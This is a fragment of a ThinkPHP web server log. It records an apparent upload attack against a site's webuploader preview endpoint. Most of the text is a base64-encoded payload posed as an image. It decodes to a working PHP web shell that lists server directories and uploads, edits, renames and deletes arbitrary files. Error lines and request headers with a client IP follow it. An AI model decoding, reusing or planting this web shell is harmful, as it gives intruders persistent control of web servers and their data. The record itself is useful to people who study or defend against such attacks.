'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:44+08:00 ] 119.42.146.234 POST 51tianwei.com/webadmin/webuploader/preview.php [运行时间:0.002426s] [吞吐率:412.22req/s] [内存消耗:196.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'webadmin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 